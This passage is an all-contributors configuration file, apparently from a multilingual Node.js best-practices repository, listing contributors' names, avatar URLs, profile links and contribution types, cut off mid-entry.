[
  {
    "path": ".all-contributorsrc",
    "content": "{\n  \"files\": [\n    \"README.basque.md\",\n    \"README.brazilian-portuguese.md\",\n    \"README.chinese.md\",\n    \"README.french.md\",\n    \"README.indonesian.md\",\n    \"README.japanese.md\",\n    \"README.korean.md\",\n    \"README.md\",\n    \"README.polish.md\",\n    \"README.russian.md\"\n  ],\n  \"imageSize\": 100,\n  \"contributorsPerLine\": 7,\n  \"contributorTemplate\": \"<a href=\\\"<%= contributor.profile %>\\\"><img src=\\\"<%= contributor.avatar_url %>\\\" width=\\\"<%= options.imageSize %>px;\\\" alt=\\\"<%= contributor.name %>\\\"style=\\\"max-width:<%= options.imageSize %>px;min-width:<%= options.imageSize %>px;\\\" /><br /><sub style=\\\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\\\"><b><%= contributor.name %></b></sub></a><br /><%= contributions %>\",\n  \"badgeTemplate\": \"[![All Contributors](https://img.shields.io/badge/all_contributors-<%= contributors.length %>-orange.svg?style=flat-square)](#contributors)\",\n  \"contributors\": [\n    {\n      \"login\": \"kevinrambaud\",\n      \"name\": \"Kevin Rambaud\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/7501477?v=4\",\n      \"profile\": \"https://github.com/kevinrambaud\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"mfine15\",\n      \"name\": \"Michael Fine\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/1286554?v=4\",\n      \"profile\": \"https://github.com/mfine15\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"squgeim\",\n      \"name\": \"Shreya Dahal\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/4996818?v=4\",\n      \"profile\": \"http://squgeim.github.io\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"matheusrocha89\",\n      \"name\": \"Matheus Cruz Rocha\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/3718366?v=4\",\n      \"profile\": \"http://matheusrocha89.com\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"BitYog\",\n      \"name\": \"Yog Mehta\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/28219178?v=4\",\n      \"profile\": \"https://bityog.github.io/Portfolio/\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"kudapara\",\n      \"name\": \"Kudakwashe Paradzayi\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/13519184?v=4\",\n      \"profile\": \"http://kudapara.co.zw\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"t1st3\",\n      \"name\": \"t1st3\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/1469638?v=4\",\n      \"profile\": \"https://www.t1st3.com/\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"mulijordan1976\",\n      \"name\": \"mulijordan1976\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/33382022?v=4\",\n      \"profile\": \"https://github.com/mulijordan1976\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"matchai\",\n      \"name\": \"Matan Kushner\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/4658208?v=4\",\n      \"profile\": \"https://twitter.com/matchai\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"fabiothiroki\",\n      \"name\": \"Fabio Hiroki\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/670057?v=4\",\n      \"profile\": \"https://fabiothiroki.github.io\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"jsumners\",\n      \"name\": \"James Sumners\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/321201?v=4\",\n      \"profile\": \"http://james.sumners.info/\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"dan-gamble\",\n      \"name\": \"Dan Gamble\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/7152041?v=4\",\n      \"profile\": \"https://twitter.com/_DanGamble\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"trainorpj\",\n      \"name\": \"PJ Trainor\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/13276704?v=4\",\n      \"profile\": \"https://github.com/trainorpj\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"reod\",\n      \"name\": \"Remek Ambroziak\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/3164299?v=4\",\n      \"profile\": \"https://github.com/reod\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"yonjah\",\n      \"name\": \"Yoni Jah\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/1829789?v=4\",\n      \"profile\": \"https://ca.non.co.il\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"hazolsky\",\n      \"name\": \"Misha Khokhlov\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/1270790?v=4\",\n      \"profile\": \"https://github.com/hazolsky\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"EvgenyOrekhov\",\n      \"name\": \"Evgeny Orekhov\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/8045060?v=4\",\n      \"profile\": \"https://plus.google.com/+ЕвгенийОрехов/\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"gediminasml\",\n      \"name\": \"-\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/19854105?v=4\",\n      \"profile\": \"https://github.com/gediminasml\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"hisaac\",\n      \"name\": \"Isaac Halvorson\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/923876?v=4\",\n      \"profile\": \"http://hisaac.net\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"vkaracic\",\n      \"name\": \"Vedran Karačić\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/2808092?v=4\",\n      \"profile\": \"http://www.vedrankaracic.com\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"lallenlowe\",\n      \"name\": \"lallenlowe\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/10761165?v=4\",\n      \"profile\": \"https://github.com/lallenlowe\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"nwwells\",\n      \"name\": \"Nathan Wells\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/1039473?v=4\",\n      \"profile\": \"https://github.com/nwwells\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"paulovitin\",\n      \"name\": \"Paulo Reis\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/125503?v=4\",\n      \"profile\": \"https://github.com/paulovitin\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"syzer\",\n      \"name\": \"syzer\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/1989646?v=4\",\n      \"profile\": \"https://snap.simpego.ch\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"davesnx\",\n      \"name\": \"David Sancho\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/3763599?v=4\",\n      \"profile\": \"http://sancho.dev\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"pupix\",\n      \"name\": \"Robert Manolea\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/4929965?v=4\",\n      \"profile\": \"https://apiforge.it\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"spaxe\",\n      \"name\": \"Xavier Ho\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/708395?v=4\",\n      \"profile\": \"https://jumptoglide.com\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"ocularrhythm\",\n      \"name\": \"Aaron\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/2738518?v=4\",\n      \"profile\": \"http://www.ocular-rhythm.io\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"septa97\",\n      \"name\": \"Jan Charles Maghirang Adona\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/13742634?v=4\",\n      \"profile\": \"https://septa97.me\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"AllenFang\",\n      \"name\": \"Allen\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/5351390?v=4\",\n      \"profile\": \"https://www.cakeresume.com/allenfang\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"leonardovillela\",\n      \"name\": \"Leonardo Villela\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/8650543?v=4\",\n      \"profile\": \"https://github.com/leonardovillela\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"MichalZalecki\",\n      \"name\": \"Michał Załęcki\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/3136577?v=4\",\n      \"profile\": \"https://michalzalecki.com\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"chrisnicola\",\n      \"name\": \"Chris Nicola\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/156449?v=4\",\n      \"profile\": \"http://www.wealthbar.com\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"aecorredor\",\n      \"name\": \"Alejandro Corredor\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/9114987?v=4\",\n      \"profile\": \"https://twitter.com/aecorredor\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"cwar\",\n      \"name\": \"cwar\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/272843?v=4\",\n      \"profile\": \"https://github.com/cwar\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"keyfoxth\",\n      \"name\": \"Yuwei\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/10647132?v=4\",\n      \"profile\": \"https://github.com/keyfoxth\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"utkarshbhatt12\",\n      \"name\": \"Utkarsh Bhatt\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/10895594?v=4\",\n      \"profile\": \"https://bigcodenerd.org\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"duartemendes\",\n      \"name\": \"Duarte Mendes\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/12852058?v=4\",\n      \"profile\": \"https://github.com/duartemendes\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"serv\",\n      \"name\": \"Jason Kim\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/103456?v=4\",\n      \"profile\": \"http://jasonkim.ca\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"Max101\",\n      \"name\": \"Mitja O.\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/2124249?v=4\",\n      \"profile\": \"https://github.com/Max101\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"SandroMiguel\",\n      \"name\": \"Sandro Miguel Marques\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/6423157?v=4\",\n      \"profile\": \"http://sandromiguel.com\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"GabeKuslansky\",\n      \"name\": \"Gabe\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/9855482?v=4\",\n      \"profile\": \"https://github.com/GabeKuslansky\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"ripper234\",\n      \"name\": \"Ron Gross\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/172282?v=4\",\n      \"profile\": \"http://ripper234.com/\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"vkarpov15\",\n      \"name\": \"Valeri Karpov\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/1620265?v=4\",\n      \"profile\": \"http://www.thecodebarbarian.com\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"imsergiobernal\",\n      \"name\": \"Sergio Bernal\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/20087388?v=4\",\n      \"profile\": \"https://sergiobernal.com\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"ntelkedzhiev\",\n      \"name\": \"Nikola Telkedzhiev\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/7332371?v=4\",\n      \"profile\": \"https://github.com/ntelkedzhiev\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"vitordagamagodoy\",\n      \"name\": \"Vitor Godoy\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/26370059?v=4\",\n      \"profile\": \"https://github.com/vitordagamagodoy\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"manishsaraan\",\n      \"name\": \"Manish Saraan\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/19797340?v=4\",\n      \"profile\": \"https://www.manishsaraan.com/\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"uronly14me\",\n      \"name\": \"Sangbeom Han\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/5186814?v=4\",\n      \"profile\": \"https://github.com/uronly14me\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"blackmatch\",\n      \"name\": \"blackmatch\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/12443954?v=4\",\n      \"profile\": \"https://blackmatch.github.io\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"ISNIT0\",\n      \"name\": \"Joe Reeve\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/5173131?v=4\",\n      \"profile\": \"https://simmsreeve.com\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"BusbyActual\",\n      \"name\": \"Ryan Busby\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/14985016?v=4\",\n      \"profile\": \"https://github.com/BusbyActual\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"ImanMh\",\n      \"name\": \"Iman Mohamadi\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/4482199?v=4\",\n      \"profile\": \"http://jsdecorator.com\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"HeeL\",\n      \"name\": \"Sergii Paryzhskyi\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/287769?v=4\",\n      \"profile\": \"https://github.com/HeeL\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"kapilepatel\",\n      \"name\": \"Kapil Patel\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/25738473?v=4\",\n      \"profile\": \"https://github.com/kapilepatel\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"justjavac\",\n      \"name\": \"迷渡\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/359395?v=4\",\n      \"profile\": \"https://twitter.com/justjavac\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"hozefaj\",\n      \"name\": \"Hozefa\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/2084833?v=4\",\n      \"profile\": \"https://github.com/hozefaj\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"el-ethan\",\n      \"name\": \"Ethan\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/10249884?v=4\",\n      \"profile\": \"https://github.com/el-ethan\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"milkdeliver\",\n      \"name\": \"Sam\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/3108407?v=4\",\n      \"profile\": \"https://github.com/milkdeliver\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"ArlindXh\",\n      \"name\": \"Arlind\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/19508764?v=4\",\n      \"profile\": \"https://github.com/ArlindXh\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"ttous\",\n      \"name\": \"Teddy Toussaint\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/19815440?v=4\",\n      \"profile\": \"https://github.com/ttous\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"LewisArdern\",\n      \"name\": \"Lewis\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/2419690?v=4\",\n      \"profile\": \"http://ardern.io\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"GabrielLidenor\",\n      \"name\": \"Gabriel Lidenor \",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/765963?v=4\",\n      \"profile\": \"https://gabriellidenor.com/\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"animir\",\n      \"name\": \"Roman\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/4623196?v=4\",\n      \"profile\": \"https://github.com/animir\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"Francozeira\",\n      \"name\": \"Francozeira\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/47419763?v=4\",\n      \"profile\": \"https://github.com/Francozeira\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"Invvard\",\n      \"name\": \"Invvard\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/7305493?v=4\",\n      \"profile\": \"https://twitter.com/invvard\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"romulogarofalo\",\n      \"name\": \"Rômulo Garofalo\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/18492592?v=4\",\n      \"profile\": \"https://romulogarofalo.github.io/\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"thoqbk\",\n      \"name\": \"Tho Q Luong\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/1491103?v=4\",\n      \"profile\": \"http://thoqbk.github.io/\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"Qeneke\",\n      \"name\": \"Burak Shen\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/20271568?v=4\",\n      \"profile\": \"https://github.com/Qeneke\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"MartinMuzatko\",\n      \"name\": \"Martin Muzatko\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/2950505?v=4\",\n      \"profile\": \"http://www.happy-css.com\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"autoboxer\",\n      \"name\": \"Jared Collier\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/2757601?v=4\",\n      \"profile\": \"https://github.com/autoboxer\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"bikingbadger\",\n      \"name\": \"Hilton Meyer\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/4545860?v=4\",\n      \"profile\": \"http://hiltonmeyer.com\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"ChangJoo-Park\",\n      \"name\": \"ChangJoo Park(박창주)\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/1451365?v=4\",\n      \"profile\": \"http://kr.vuejs.org\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"MasahiroSakaguchi\",\n      \"name\": \"Masahiro Sakaguchi\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/16427431?v=4\",\n      \"profile\": \"https://github.com/MasahiroSakaguchi\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"TheHollidayInn\",\n      \"name\": \"Keith Holliday\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/1253400?v=4\",\n      \"profile\": \"https://github.com/TheHollidayInn\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"coreyc\",\n      \"name\": \"coreyc\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/1485356?v=4\",\n      \"profile\": \"https://www.coreycleary.me\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"Berkmann18\",\n      \"name\": \"Maximilian Berkmann\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/8260834?v=4\",\n      \"profile\": \"http://maxcubing.wordpress.com\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"DouglasMV\",\n      \"name\": \"Douglas Mariano Valero\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/32845487?v=4\",\n      \"profile\": \"https://github.com/DouglasMV\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"marcelosdm\",\n      \"name\": \"Marcelo Melo\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/18266600?v=4\",\n      \"profile\": \"https://github.com/marcelosdm\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"mperk\",\n      \"name\": \"Mehmet Perk\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/3465794?v=4\",\n      \"profile\": \"https://twitter.com/mperk_\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"ryanouyang\",\n      \"name\": \"ryan ouyang\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/360426?v=4\",\n      \"profile\": \"https://github.com/ryanouyang\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"shabeer-mdy\",\n      \"name\": \"Shabeer\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/26842535?v=4\",\n      \"profile\": \"https://github.com/shabeer-mdy\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"halfzebra\",\n      \"name\": \"Eduard Kyvenko\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/3983879?v=4\",\n      \"profile\": \"https://github.com/halfzebra\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"deyvisonrocha\",\n      \"name\": \"Deyvison Rocha\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/686067?v=4\",\n      \"profile\": \"http://deyvisonrocha.com\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"georgem3\",\n      \"name\": \"George Mamer\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/20108934?v=4\",\n      \"profile\": \"http://twitter.com/georgemamer\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"leimonio\",\n      \"name\": \"Konstantinos Leimonis\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/1969742?v=4\",\n      \"profile\": \"https://github.com/leimonio\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"Zybax\",\n      \"name\": \"Oliver Lluberes\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/22094453?v=4\",\n      \"profile\": \"https://github.com/Zybax\",\n      \"contributions\": [\n        \"translation\"\n      ]\n    },\n    {\n      \"login\": \"tiendq\",\n      \"name\": \"Tien Do\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/815910?v=4\",\n      \"profile\": \"https://stackoverflow.com/story/tiendq\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"singh1114\",\n      \"name\": \"Ranvir Singh\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/11356398?v=4\",\n      \"profile\": \"http://singh1114.github.io/\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"collierrgbsitisfise\",\n      \"name\": \"Vadim Nicolaev\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/13496126?v=4\",\n      \"profile\": \"https://github.com/collierrgbsitisfise\",\n      \"contributions\": [\n        \"content\",\n        \"translation\"\n      ]\n    },\n    {\n      \"login\": \"germangamboa95\",\n      \"name\": \"German Gamboa Gonzalez\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/28633849?v=4\",\n      \"profile\": \"https://github.com/germangamboa95\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"AbdelrahmanHafez\",\n      \"name\": \"Hafez\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/19984935?v=4\",\n      \"profile\": \"https://github.com/AbdelrahmanHafez\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"chandiran-dmc\",\n      \"name\": \"Chandiran\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/42678579?v=4\",\n      \"profile\": \"http://linkedin.com/in/chandiran-dmc\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"VinayaSathyanarayana\",\n      \"name\": \"VinayaSathyanarayana\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/16976677?v=4\",\n      \"profile\": \"https://github.com/VinayaSathyanarayana\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"kiwikern\",\n      \"name\": \"Kim Kern\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/2671139?v=4\",\n      \"profile\": \"https://www.kimkern.de\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"kennethfreitas\",\n      \"name\": \"Kenneth Freitas\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/55669043?v=4\",\n      \"profile\": \"https://kennethfreitas.github.io/\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"songe\",\n      \"name\": \"songe\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/1531561?v=4\",\n      \"profile\": \"https://github.com/songe\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"Ksedline\",\n      \"name\": \"Kirill Shekhovtsov\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/30693707?v=4\",\n      \"profile\": \"http://ksed.dev\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"SerzN1\",\n      \"name\": \"Serge\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/2534649?v=4\",\n      \"profile\": \"https://github.com/SerzN1\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"keyrwinz\",\n      \"name\": \"keyrwinz\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/21241761?v=4\",\n      \"profile\": \"https://github.com/keyrwinz\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"nDmitry\",\n      \"name\": \"Dmitry Nikitenko\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/2134568?v=4\",\n      \"profile\": \"https://github.com/nDmitry\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"bushuai\",\n      \"name\": \"bushuai\",\n      \"avatar_url\": \"https://avatars0.githubusercontent.com/u/1875256?v=4\",\n      \"profile\": \"https://bushuai.cc\",\n      \"contributions\": [\n        \"review\",\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"benjamingr\",\n      \"name\": \"Benjamin Gruenbaum\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/1315533?v=4\",\n      \"profile\": \"https://stackoverflow.com/users/1348195/benjamin-gruenbaum\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"byeze\",\n      \"name\": \"Ezequiel\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/7424138?v=4\",\n      \"profile\": \"https://github.com/byeze\",\n      \"contributions\": [\n        \"translation\"\n      ]\n    },\n    {\n      \"login\": \"juaoose\",\n      \"name\": \"Juan José Rodríguez\",\n      \"avatar_url\": \"https://avatars3.githubusercontent.com/u/994594?v=4\",\n      \"profile\": \"https://github.com/juaoose\",\n      \"contributions\": [\n        \"translation\"\n      ]\n    },\n    {\n      \"login\": \"OrBin\",\n      \"name\": \"Or Bin\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/6897234?v=4\",\n      \"profile\": \"https://github.com/OrBin\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"andreoav\",\n      \"name\": \"Andreo Vieira\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/508827?v=4\",\n      \"profile\": \"https://twitter.com/andreoav07\",\n      \"contributions\": [\n        \"content\"\n      ]\n    },\n    {\n      \"login\": \"mikicho\",\n      \"name\": \"Michael Solomon\",\n      \"avatar_url\": 